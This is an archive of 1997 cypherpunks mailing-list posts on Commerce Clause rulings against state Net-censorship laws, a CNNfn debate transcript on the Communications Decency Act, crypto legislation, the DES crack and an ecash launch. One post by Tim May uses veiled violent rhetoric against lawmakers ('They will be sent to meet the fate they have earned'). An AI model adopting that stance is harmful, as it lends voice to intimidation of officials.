Message-ID: <Pine.SOL.3.96.970620182926.6841B-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 20 Jun 1997, Steve Schear wrote:

> >But the rulings differ in important ways. Manhattan's
> >Judge Preska did not answer whether the New York law
> >violated the First Amendment, saying she was going to
> >wait for the U.S. Supreme Court's to rule on the
> >Communications Decency Act. She said, however, that
> >she didn't *need to answer* that question to strike
> >down the law since it violated the U.S. Constitution's
> >ban on states attempts to regulate commerce outside
> >their borders.
> 
> Might this also mean that states attempting to restrict Internet gaming
> might similarly be restrained?

Not necessarily, and that's ilustrative of one of the problems with this
decision on Commerce Clause grounds.  Is child porn, like other articles
of "commerce", generic across state lines, or is it subject to a Miller
"community standard"?  Same for the "harmful to minors" standard?
MacN
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sat, 21 Jun 1997 08:23:53 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <Pine.GSO.3.95.970620151503.19203A-100000@well.com>
Message-ID: <Pine.SOL.3.96.970620184729.6841C-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 20 Jun 1997, Declan McCullagh wrote:

> Steve -- Believe it or not, yes, state Net-gambling laws could fall under
> the dormant commerce clause and be struck down by courts. If they ruled
> consistently. I suspect they won't. 

Congress has traditionally accorded states wide latitude in regulating 
gambling, nor is gambling yet recognized by Congress as legitimate
commerce, generally speaking.  It's still regarded as criminal
behavior.  State murder laws are not unconstitutional on the ground
that contracts for killing are made ikn interstate commerce.:)
MacN

So, the dormant CC may not apply.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sat, 21 Jun 1997 08:18:06 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <Pine.GSO.3.95.970620165732.11215G-100000@well.com>
Message-ID: <Pine.SOL.3.96.970620185932.6841D-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



I consider Dan an expert in the area, myself, and agree with most of
his thinking on the subject.  Defamation law is 1A-involved, so maybe
not an apt comparison.  It's subject to a national, not community,
standard in that regard, unlike obscenity.

On the other hand, while states actually have constitutionally 
enshrined authority over liquor, there is Healey v. The Beer
Institute, cite I can't remember.
MacN 

On Fri, 20 Jun 1997, Declan McCullagh wrote:

> Pardon me as I muddle through this --
> 
> Defamation law looks to local communities to define
> things like reputation. What about huge Internet
> communities? What about the distinction between public
> and private figures?
> 
> Wouldn't an even-handed application of the commerce
> clause stop states from banning child porn or passing
> libel/defamation laws for the Net?
> 
> Though I agree that no court would strike down a child
> porn law on commerce clause grounds...
> 
> Dan Burk has written much about this topic, and I'm
> planning to read up on it over the weekend. One of his
> law review articles came up during oral arguments before
> Judge Preska in NYC.
> 
> -Declan
> 
> 
> On Fri, 20 Jun 1997, Mac Norton wrote:
> 
> > On Fri, 20 Jun 1997, Steve Schear wrote:
> > 
> > > >But the rulings differ in important ways. Manhattan's
> > > >Judge Preska did not answer whether the New York law
> > > >violated the First Amendment, saying she was going to
> > > >wait for the U.S. Supreme Court's to rule on the
> > > >Communications Decency Act. She said, however, that
> > > >she didn't *need to answer* that question to strike
> > > >down the law since it violated the U.S. Constitution's
> > > >ban on states attempts to regulate commerce outside
> > > >their borders.
> > > 
> > > Might this also mean that states attempting to restrict Internet gaming
> > > might similarly be restrained?
> > 
> > Not necessarily, and that's ilustrative of one of the problems with this
> > decision on Commerce Clause grounds.  Is child porn, like other articles
> > of "commerce", generic across state lines, or is it subject to a Miller
> > "community standard"?  Same for the "harmful to minors" standard?
> > MacN
> >   
> > 
> > 
> > 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Sat, 21 Jun 1997 10:25:27 +0800
To: emergent@eval-apply.com (ET)
Subject: Re: Garbled in transmission.
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <199706210210.TAA08094@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



	Not at all surprising, considering the wording of Rocke's
press release. 


> I caught the Headline News mention of the DES crack and it
> unfortunately put the wrong spin on things.
> 
> I can't remember it word for word, but it went like this:
> "If you're going to decrypt financial transactions you'd better
> be prepared to get 1000 computers and spend 3 months on
> the project."
> 
> The report was delivered with a hint of a smile, as if to suggest
> that the time and resources might have been better spent.
> 
> *Sigh*
> 
> 


-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John W. Noerenberg" <jwn2@qualcomm.com>
Date: Sat, 21 Jun 1997 10:46:39 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: It's not over
In-Reply-To: <199706202210.AAA28568@basement.replay.com>
Message-ID: <v04000604afd0e922138d@[129.46.137.118]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:10 AM +0200 6/21/97, Anonymous wrote:
>Let's cut all the doom and gloom here.  The bill isn't passed yet.  It's
>got to go through at least one and possibly two more committees before
>it reaches the senate floor, where we'll have another chance to defeat it.
>
>Even then the house has to pass similar legislation.  That will be yet another
>chance.

Even if it makes it thru Congress, perhaps it can be challenged by the
courts because of possible 4th amendent abuses.

Lots of opportunity to sink it.

Sure this is a lousy turn of events, but it's only 1 battle.  It isn't even
close to the end of the war.

john noerenberg
jwn2@qualcomm.com
pager: jwn2@pager.qualcomm.com
  --------------------------------------------------------------------
   "We need not to be left alone.  We need to be really
    bothered once in a while."
  -- Ray Bradbury, Farhenheit 451, 1953
  --------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sat, 21 Jun 1997 08:38:36 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <Pine.SOL.3.96.970620185932.6841D-100000@cavern.uark.edu>
Message-ID: <Pine.SOL.3.96.970620192501.6841E-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



Apologies to Declan for replying to a private message on the list.
Gotta to learn to read those headers all the way through.:)

The "Dan" mentioned is Dan Burk, an acomplished young law professor
who has done some relevant writing on the subject.
MacN

On Fri, 20 Jun 1997, Mac Norton wrote:

> I consider Dan an expert in the area, myself, and agree with most of
> his thinking on the subject.  Defamation law is 1A-involved, so maybe
> not an apt comparison.  It's subject to a national, not community,
> standard in that regard, unlike obscenity.
> 
> On the other hand, while states actually have constitutionally 
> enshrined authority over liquor, there is Healey v. The Beer
> Institute, cite I can't remember.
> MacN 
> 
> On Fri, 20 Jun 1997, Declan McCullagh wrote:
> 
> > Pardon me as I muddle through this --
> > 
> > Defamation law looks to local communities to define
> > things like reputation. What about huge Internet
> > communities? What about the distinction between public
> > and private figures?
> > 
> > Wouldn't an even-handed application of the commerce
> > clause stop states from banning child porn or passing
> > libel/defamation laws for the Net?
> > 
> > Though I agree that no court would strike down a child
> > porn law on commerce clause grounds...
> > 
> > Dan Burk has written much about this topic, and I'm
> > planning to read up on it over the weekend. One of his
> > law review articles came up during oral arguments before
> > Judge Preska in NYC.
> > 
> > -Declan
> > 
> > 
> > On Fri, 20 Jun 1997, Mac Norton wrote:
> > 
> > > On Fri, 20 Jun 1997, Steve Schear wrote:
> > > 
> > > > >But the rulings differ in important ways. Manhattan's
> > > > >Judge Preska did not answer whether the New York law
> > > > >violated the First Amendment, saying she was going to
> > > > >wait for the U.S. Supreme Court's to rule on the
> > > > >Communications Decency Act. She said, however, that
> > > > >she didn't *need to answer* that question to strike
> > > > >down the law since it violated the U.S. Constitution's
> > > > >ban on states attempts to regulate commerce outside
> > > > >their borders.
> > > > 
> > > > Might this also mean that states attempting to restrict Internet gaming
> > > > might similarly be restrained?
> > > 
> > > Not necessarily, and that's ilustrative of one of the problems with this
> > > decision on Commerce Clause grounds.  Is child porn, like other articles
> > > of "commerce", generic across state lines, or is it subject to a Miller
> > > "community standard"?  Same for the "harmful to minors" standard?
> > > MacN
> > >   
> > > 
> > > 
> > > 
> > 
> > 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 21 Jun 1997 10:46:59 +0800
To: cypherpunks@toad.com
Subject: CNNFN transcript -- EPIC vs. Family Research Council on CDA
Message-ID: <Pine.GSO.3.95.970620192715.18457M-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 22:16:38 -0400
From: Marc Rotenberg <rotenberg@epic.org>
To: fight-censorship@vorlon.mit.edu



I'm not looking for any awards, but I thought this

debate with Cathy Cleaver went very well. As I said

earlier, she doesn't expect to win next week.


Marc.


----------


<fontfamily><param>Geneva</param><bigger>                              
      CNNFN


                       SHOW: IT'S ONLY MONEY 13:00 pm ET


                   June 20, 1997; Friday 1:17 pm Eastern Time


                          Transcript # 97062002FN-l05


HEADLINE:  Panel Discussion on Internet Pornography Law


GUESTS:  Cathy Cleaver, Bruce Fancher, Marc Rotenberg


BYLINE:  Valerie Morris


BODY:


    VALERIE MORRIS, CNNfn ANCHOR, IT'S ONLY MONEY: The Supreme Court is
expected to rule on the constitutionality of the Communications Decency
Act, better known as the CDA, sometime next week.  Now, whatever the
outcome, the CDA will set the precedent for all future laws involving
any censoring of material on the Internet. The past year's debate over
the CDA has divided net users into distinct camps of - on issues of
cyber censorship.


    I'm joined today by some important members of those opposing camps,
first of all from our bureau in Washington, Marc Rotenberg, who is
director of the Electronic Privacy Information Center.  Marc was a
counsel in challenging the CDA.  And from our bureau in Los Angeles,
Cathy Cleaver, director of legal policy with the Family Research
Council - Cathy co-authored a brief on behalf of members of Congress in
defense of the CDA.  And with me here in our New York studio is our
Generation-X representative on the issue, Bruce Fancher.  Formerly a
computer hacker, now an entreprenuer, Bruce is the president of Online
Evolution Systems.  He is also the co- founder of Digital Liberty,
which is an online civil rights advocacy group.  To all of you,
welcome.  


    CATHY CLEAVER, DIRECTOR, FAMILY RESEARCH COUNCIL: Thank you.


    MORRIS: I'd like to start out - Cathy, could you please outline
what the CDA proposes?


    CLEAVER: What the CDA does is make it a crime to knowingly send
indecent material or pornography to known minors and also makes it a
crime to knowingly make it available to minors without taking good
faith steps to try to screen minors out, a very reasonable law, no
censorship involved.  We like that word "censorship." But it's very
similar to other laws restricting adults from selling, giving or
showing pornography to children in other media.


    MORRIS: OK.


    Marc, what's EPIC's response, and what is the challenge with regard
to the CDA from your perspective?


    MARC ROTENBERG, DIRECTOR, EPIC: Well, EPIC and the American Civil
Liberties Union challenged the constitutionality of the bill, and so
far, we've been successful in our litigation.  We've had 2 panels of
judges in New York and Philadelphia that have agreed with us
unanimously that, contrary to what Cathy says, the bill was poorly
drafted.  It sweeps much too broadly.  It tries to prohibit access to
information that the First Amendment has always protected. 


    MORRIS: All right.


    And now to Bruce, who is here in the studio with me, what's your
stance with regard to the issue?


    BRUCE FANCHER, PRESIDENT, EVOLUTION ONLINE SYSTEMS: My stance is
that, while I think the law is clearly ridiculous and unconstitutional,
I'm inclined to see it a little bit like the British tax on tea in
1776.  So in some sense I hope it is upheld because, sooner or later,
the government is going to try to regulate in Internet and we need to
start developing tools now to make that difficult or impossible,
including moving some of these operations offshore.


    MORRIS: I'm now going to try and facilitate this with all 3 of you
jumping in as you see fit.  I would like to ask Bruce, though, a
follow- up question. 


    Do you see any business related activity on the net being impacted
dramatically by the CDA?


    FANCHER: Well, my business could potentially be impacted.  We run a
discussion group which is open to anyone who wants to join, and that's
about 10,000 people on it.  And we don't have any control of what the
people say.  So we're vulnerable in that way.


    MORRIS: Cathy, is indecency out of control on the Internet in your
opinion? 


    CLEAVER: Well, we know that people online that sell pornography,
for instance, is the fastest growing online marketing right now. It's
impossible now to predict what exactly would happen if the CDA were
upheld, but let me tell you, you know, when the CDA was first
presented, online pornographers started checking their material.  They
started screening for children, but then when they won their first
round in the courts, as Eric mentioned, they went back to showing free
pictures of pornography to anyone who came to the site.  So, yes, I
think it should affect business.  Pornography is a booming business
online, but it shouldn't affect the adult's ability to get pornography,
but only children's ability to get pornography, which is what indecency
laws have done for 30 years. 


    MORRIS: Marc, there are regulations for television, regulations for
radio. How is the Internet different?  


   ROTENBERG: Well, the Internet is very different from television and
radio.  There is no central licensing.  There is no government review
or authority.  The Internet is much more like a series of
interconnected bookstores or newsstands or libraries, and to understand
just how sweeping the CDA could be in its application, it would
effectively restrict the ability to anyone to publish information on
the Internet, which is why, you know quite frankly, I think the Supreme
Court, when it rules next week, will say no, you can't legislate in
this manner.  


    CLEAVER: That is truly ridiculous I think, because, listen, we've
got indecency laws that effect all of those areas that he just
mentioned.  So the question.


    ROTENBERG: Cathy, to what (OFF-MIKE)


    CLEAVER: .really is -- the question is just: Should we provide an
exemption in cyberspace to Larry Flint?  Should he be able to sell his
magazines to 12 year olds online?  We, as a society, say no, you can't
do that over the - in a bookstore and you can't rent or sell x- rated
videos to kids in a video stores. Should pornographers have a carte
blanche in cyperspace?  It makes no sense. And the Constitution doesn't
require that.


    Look, free speech is not an absolute right.  We all know that. 
Adults are not able to exploit children by selling them or giving
pornography anywhere, and they should be able to, and I believe they
won't be able to do that on the Internet.


    MORRIS: The CD.


    ROTENBERG: Valerie.


    MORRIS: Yes?


    ROTENBERG: .if I could ask a question here.


    MORRIS: Yes, you can.


    ROTENBERG: Cathy, how do you think the Supreme Court is going to
rule next week?  I mean, let's just - let's be blunt about this.  Are
they going to side with you and say this type of sweeping legislation
is permissible, or are they going to side with the people who have been
trying to defend free speech online and say, no, you can't do this in
this country, you can't try to impose such draconian legislation and
controls on what other people may see even if you happen to disagree
with it?


    MORRIS: I'm going to ask you both to hold.


    Cathy, I will start with your answer when we come back.  We do need
to take a break right now.  Don't go away.  We will be back with more
on IT'S ONLY MONEY with more on the Communication Decency Act, and when
we return, we'll open up the phones for your questions, the number,
1-800-304-fnet.  Back in a moment. 


    VALERIE MORRIS, CNNfn ANCHOR, IT'S ONLY MONEY: We are talking about
the Communications Decency Act with Marc Rotenberg who is Director of
Electronic Privacy Information Center and in opposition to the CDA,
Cathy Cleaver who is Director of Legal Policy for the Family Research
Council and a supporter of the CDA, and Bruce Fancher, an entrepreneur,
founder of Evolution Online Systems.  He believes the Internet should
be completely unregulated. 


    We will be taking your calls.  The number 1-800-304-FNET.


    As we went to break, Cathy, you had been asked a question by Marc,
how do you think the Supreme Court will rule?  Please give us your
answer.   


    CATHY CLEAVER, DIRECTOR, FAMILY RESEARCH COUNCIL: Well, one of the
challenges, of course, is to the indecency standard itself, and we can
look to just last year when the Supreme Court upheld the indecency
standard as a constitutional standard, not overly broad and not vague. 
You know, the decency standard means a patently offensive depiction of
sexual or excretory activities. So, it's not a vague challenge.  So, I
think that's a definite win.  I find it difficult to see how the
Supreme Court would reverse itself, since just last year in the cable
pornography case, it upheld indecency regulation using that standard
for cable.  But also, remember, this law has a lot of good faith
defense that people can use to show pornography to adults but also make
attempts to keep it from children.  That's all the law's ever
required.


    MORRIS: But there are a couple of things-the CDA's being challenged
on a couple of bases.  One is because some say that it's too broad. 
The other is a standard of decency is unconstitutional, and I think
those are the concerns, Bruce, some of which you had an opinion with
regard to how the Supreme Court is going to rule.  And you say it's
because of the unconstitutional issue? 


    GBRUCE FANCHER, PRESIDENT, EVOLUTION ONLINE SYSTEMS: Well, I'm not
a lawyer, but from what I've read, it seems to me-my opinion will rule
that it's unconstitutional.  But I'm much less concerned with placing
faith in the political process to protect the Internet than with
developing tools which we can use to effectively protect our privacy
and our right to communicate and engage in trade on the Internet,
regardless of what the government decides to do.


    MORRIS: Because those are also issues.  I mean, we sometimes get
stuck on this one, but the CDA also covers surveillance, encryption and
consumer privacy. But the most immediate concern tends to be this free
speech issue in Cyberspace. 


    CLEAVER: If I can just jump in, the CDA protects privacy in
Cyberspace.  So, that's how it addresses privacy.  It upholds and
refers to EPIC's privacy provision that it got it in.


    MORRIS: Mark, do you agree?


    MARC ROTENBERG, DIRECTOR, EPIC: I don't know what Cathy's talking
about. We didn't have anything to do with the drafting of the bill. 
It's bad for privacy.  But let me just say in response to Bruce, while
I'm aware of his concerns and I think there should be good techniques
to protect privacy and liberty online, I have not given up on the
American political system.  I feel very strongly about our
constitutional form of government, and the first amendment in
particular.  And I think next week will in fact be a great victory for
our system of government.  We will preserve liberty in the online
world. 


    MORRIS: All right, we have a caller, Darren, from Canada, thanks
for joining us. What's your question or comment?


    CALLER: Yes, basically I'm just wondering how this all will be
enforced. 


    MORRIS: All right, who would like to take that on?  How will the
law be enforced?


    CLEAVER: I can take that.  Just like other laws are enforced, where
first of all, we would require or rely upon, you know, self regulation,
that's what happens now with video stores and magazine stores.  We
require the clerks to abide by the law.  And when they don't, then when
they run afoul of the law, then prosecutors can, you know, bring an
action against them and an investigation.  You know, it's not going to
be like some have suggested that there's going to be some government
Cyberpolice or some sort of government pre-screening of information of
all of that which suggests great privacy violations.  The law doesn't
do that.  This is kind of like Chicken Little.  You know, the sky is
going to fall if the CDA is upheld.  That's just nonsense. 


    MORRIS: But what it does to and part of the concern is what about
the liability?  Who is going to be liable?  Marc, can you take that
on?


    ROTENBERG: Yes, well, the liability issue here is actually key. 
You asked the question at the outset, what is the impact on business? 
The impact would be enormous for anyone who's trying to use the
Internet to get information out. 


    CLEAVER: Only pornographers.


    ROTENBERG: That's not true, and you know that's not true.


    CLEAVER: That is true.


    ROTENBERG: People engaging in speech, operating chat rooms,
discussion groups.


    CLEAVER: Patently offensive sexual or excretory speech.


    ROTENBERG: Sexual information.  We had people testifying at the
Philadelphia hearing that if they were providing medical information on
breast cancer or to AIDS patients that they faced a risk of prosecution
under the statutes. 


    CLEAVER: That's just not true.  The indecency definition has never
been applied in that way.  It's never been applied in that way.


    ROTENBERG: The judges who have looked at the CDA heard our
arguments, heard your arguments, have rejected your arguments.  They
don't agree with you, Cathy. 


    CLEAVER: Well those judges didn't.


    ROTENBERG: And I think it's important to keep that in mind.  We are
going to win next week in the Supreme Court.


    MORRIS: I would like to inject something here, and ask Bruce, with
regard to your business, will the CDA have direct impact on your
business, and especially because you still have online chat rooms?  I
mean, do you see that as a potential area where you could be held
liable?


    FANCHER: That's really something that I've been concerned about.  I
haven't consulted a lawyer specifically, but I'm definitely concerned
about it. 


    MORRIS: OK, we have another caller, Christian, from New York. 
Thanks for joining us.  What's your question?


    CALLER: Hi, my question is as follows: How can we regulate the
world?  As we know, the Internet is not only one organization located
in the United States. But it's all over the world.  How can we impose
laws to the entire world.  We can't do that.


    FANCHER: That's a very good point, what affect the CDA will have if
it's upheld is it will advance the process which is going to eventually
happen anyway of moving any kind of Internet service or activities
which might be slightly illicit or simply where the proprietors want to
avoid taxation or regulation to other parts of the world, specifically
places like the Caiman Islands, the Bahamas, Anguilla.  It does not
take a lot of resources to run copper wire to a Caribbean island and
operate an Internet server there.  And I'm looking forward to the day
when that's more common.


    ROTENBERG: Bruce, let me say, I'm not looking forward to that day. 
I think the Internet offers wonderful opportunities for American
business and American citizens and American consumers, and the thought
that we would want a law to pass which would effectively move all of
this activity offshore doesn't seem to me to be something that many
people would be in favor of.


    FANCHER: Well, only the servers have to be offshore.  The people
behind the information can remain in the United States.  As you know,
using encryption, that's perfectly feasible.


    MORRIS: And what about the penalties?  Let's get to that. If the
CDA is upheld by the Supreme Court, what kind of penalties are people
facing?  Are these felonies?


    ROTENBERG: Well, these are criminal sanctions.  I mean, which
includes both fines and the risk of imprisonment.  And one of the other
great concerns that arises when you try to punish people for speech is
always the question how are these decisions going to be made?  What
type of speech is going to trigger, you know-one type of publication
ends you up in jail for 3 years, and another type of publication isn't
prosecuted.  There's always a problem with prosecuting people based on
what they say or what they print.


    MORRIS: I'm going to ask each of you in the last moments that we
have- we have about 20 seconds each to wrap up your point of view.  Can
I start, Cathy, we started with you.  Let's begin this wrap-up with
you.


    CLEAVER: Sure.  The idea that Cyberspace is going to be exempt from
any laws, I think, is just nonsense.  We know that to be the case.  If
Cyberspace, if the Internet is going to survive as a marketing forum
which most of the people want it to be, there are going to have to be
some rules and regulations, some laws against fraud, some laws against
exploitation.  There are laws now against child pornography.  You know,
these are important.  It's important to build this new community in
such a way that we can actually operate with each other as we do with
an amount of trust and an amount of responsibility imposed by laws.
It's just-it's inevitable.  It's going to happen.


    MORRIS: Cathy Cleaver from-the Director of Legal Policy for Family
Research Council.  Thank you very much for adding to today's
conversation.


    CLEAVER: You're welcome.


    MORRIS: And, Bruce, your comment for a wrap-up.


    FANCHER: Well, I'd like to say to Cathy that 25 years ago the idea
of 100 million personal computers sounded like nonsense.  And 5 years
ago the idea of 40 or 50 million people connected to the Internet
sounded like nonsense.  So, I'd be very careful before making
statements like that.  And I would like to say that I still believe in
the U.S. Constitution, but I believe we need

technological solutions to back it up.


    MORRIS: All right, Bruce Fancher, thank you very much for being
with us. And then the final word, Marc Rotenberg, Director, Electronic
Privacy Information Center.


    ROTENBERG: Well, Valerie, I'm looking forward to next week.  The
Supreme Court is going to rule on a very important case, affecting the
freedom and the future of the Internet.  And it is my hope and my
belief that they're going to take one of the principles that this
country was founded on, a right of individuals to express their views,
even when others may disagree strongly, and protect that right.  It was
established in the 18th century, and I'm hopeful that it will remain
with us in the 21st.  


MORRIS: Marc Rotenberg, Director, Electronic Privacy Information
Center.  Thank you to all three of you.  I hope that we can revisit
this issue if not next week, in the very near future.  Thank you all
very much.



    END


LANGUAGE: ENGLISH


LOAD-DATE: June 20, 1997 



</bigger></fontfamily>




==================================================================

Marc Rotenberg, director                *   +1 202 544 9240 (tel)

Electronic Privacy Information Center   *   +1 202 547 5482 (fax)

666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org

Washington, DC 20003   USA              +   http://www.epic.org

==================================================================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 21 Jun 1997 07:41:49 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: It's not over
In-Reply-To: <199706202210.AAA28568@basement.replay.com>
Message-ID: <Pine.GSO.3.95.970620192332.25500A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Perhaps there is more reason to be worried than Anonymous lets on.

This afternoon I stopped by the office of a Congressional staffer who
will, appropriately, remain anonymous. This person knows crypto, follows
it, even truly believes in it. But they were pessimistic about any good,
or even half-decent, crypto legislation leaving the Congress. Which
committee will insert it? And what good crypto legislation would pass a
presidential veto? 

DC crypto-lobbyists should have seen this coming. Instead of lifting
export controls -- or even leaving intact the status quo -- Congress is
about to make things worse.

Perhaps cypherpunks should turn crypto-rejectionist.

-Declan


On Sat, 21 Jun 1997, Anonymous wrote:

> Let's cut all the doom and gloom here.  The bill isn't passed yet.  It's
> got to go through at least one and possibly two more committees before
> it reaches the senate floor, where we'll have another chance to defeat it.
> 
> Even then the house has to pass similar legislation.  That will be yet another
> chance.
> 
> When Clipper was proposed, a wave of anger and opposition swept forth.
> The same thing needs to happen now.  This fatalism is self defeating.
> 
> Either you're part of the solution or you're part of the problem.  People who
> say there's no use fighting, who give up, who oppose the efforts of the
> crypto lobbying groups in the name of ideological purity, are not part of
> the solution.  They have no right to complain if this law passes.  By
> sitting aside and carping at the efforts of those who are trying to stop this
> kind of legislation, they are only helping to bring it about.
> 
> There is no reason this new bill should be any more acceptable or more
> successful than Clipper was.  We only have to fight it.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 21 Jun 1997 10:29:05 +0800
To: cypherpunks@toad.com
Subject: Re: Mail server down :(
In-Reply-To: <199706201713.MAA01206@mailhub.amaranth.com>
Message-ID: <FRFm9D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:
> My ISP is in the process of switching backbone providers

To AGIS, I hope.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 11:03:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: It's not over
In-Reply-To: <199706202210.AAA28568@basement.replay.com>
Message-ID: <v03102817afd0f24d4292@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:22 PM -0700 6/20/97, John W. Noerenberg wrote:

>Even if it makes it thru Congress, perhaps it can be challenged by the
>courts because of possible 4th amendent abuses.
>
>Lots of opportunity to sink it.
>
>Sure this is a lousy turn of events, but it's only 1 battle.  It isn't even
>close to the end of the war.

Hey, hey, hey! None of us who have called it "war" have said it was "the
end of the war."

It's the firing shot in the "hot war," if it passes. The "cold war" has
been underway for more than 4 years.

The CDA was a warning shot, this is the bombing of Pearl Harbor.

They will be sent to meet the fate they have earned.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "ET" <emergent@eval-apply.com>
Date: Sat, 21 Jun 1997 08:16:47 +0800
To: <cypherpunks@toad.com>
Subject: Garbled in transmission.
Message-ID: <199706210004.UAA26052@jazz.cape.com>
MIME-Version: 1.0
Content-Type: text/plain



I caught the Headline News mention of the DES crack and it
unfortunately put the wrong spin on things.

I can't remember it word for word, but it went like this:
"If you're going to decrypt financial transactions you'd better
be prepared to get 1000 computers and spend 3 months on
the project."

The report was delivered with a hint of a smile, as if to suggest
that the time and resources might have been better spent.

*Sigh*






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sat, 21 Jun 1997 10:12:08 +0800
To: Alan <cypherpunks@Algebra.COM
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <Pine.GSO.3.96.970620105013.1120B-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970620201129.00699bd8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:00 AM 6/20/97 -0700, Alan wrote:
>I sometimes think that Oregon is being used as a beta test for some of the
>more draconian laws due for the rest of the country.

That's what happens when you live in places settled by those "Scandahuvians." 
 They're real control freaks.  And they attract other control freaks.

>An example is the new law waiting to be signed by the Govenor.  It would
>expand the reasons a cop can use to detain and search you.  Currently they
>need to have probable cause that you committed a crime.  The new law
>expands that to probible cause that you are about to commit a crime and a
>whole host of things they can detain and question you on.  

As in what?  Since you can (and always should) refuse to answer cop's 
questions (beyond name, rank and serial number) they can ask all they want 
but since they aren't judges they can't order you to say anything much.  
Lying is considered obstruction of justice but silence isn't.  

DCF

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6scMIVO4r4sgSPhAQFOPgP/ZXunn9jmDdqZkOW4PuLW9eGCHMJVbUIJ
KbHUfdBzJa7hMgYPJ7r9NQ8Mw+CQhq72LlkHZxel3SmVBmfZnYpLsXHJLS80N+T4
P9Um+lXth+vRcOU3WWrSyGRpuIzjOYS/4nZwTfK5M+qg0w90475iaj0tqUH7zoPl
pBW+NGkStTQ=
=jHcQ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wayne Clerke" <wclerke@emirates.net.ae>
Date: Sat, 21 Jun 1997 00:36:28 +0800
To: <cypherpunks@toad.com>
Subject: Fw: Advance Bank launches ecash
Message-ID: <199706201622.UAA05969@ns2.emirates.net.ae>
MIME-Version: 1.0
Content-Type: text/plain



Seen this? Another bank braving the Digicash ecash waters:
 ----
From: Edward Breese x1364 <edwardb@executive.advance.com.au>
To: ecash-merchant <ecash-merchant@advance.com.au>
Date: Friday, 20 June 1997 11:50
Subject: Advance Bank launches ecash

>
>Hi everyone,
>
>Thank you for being so patient.  ecash is now available from our web site
>at:  http//www.advance.com.au/ecash
>
>You will find plenty of information to help you set up your ecash purse
and
>configure a web site to accept ecash.  You can  download our latest
Internet
>Banking program (version 6), the ecash purse software and ecash merchant
>software.  You will also find some examples of real merchants who accept
>ecash.
>
>We will be launching a shopping mall in the coming weeks and invite you
to
>become involved either as a user, merchant or systems integrator.
>
>We are also keen to get your feedback so please if you have time fill in
the
>feedback forms on the web.
>
>Have fun setting up your shops,
>
>Thanks, Edward
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 21 Jun 1997 12:00:35 +0800
To: cypherpunks@Algebra.COM
Subject: crypto wars
Message-ID: <199706210347.UAA19293@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



        "There must be some way out of here",
        Said the joker to the thief
        "There's too much confusion --
        I can't get no relief.
        Businessmen, they drink my wine
        Plowmen dig my earth.
        None of them all along the line
        Know what any of it is worth."

        "No reason to get excited",
        the thief he kindly spoke
        "There are many here among us
        Who feel that life is but a joke
        But you and I, we've been through that,
        and this is not our fate
        So let us not speak falsely now
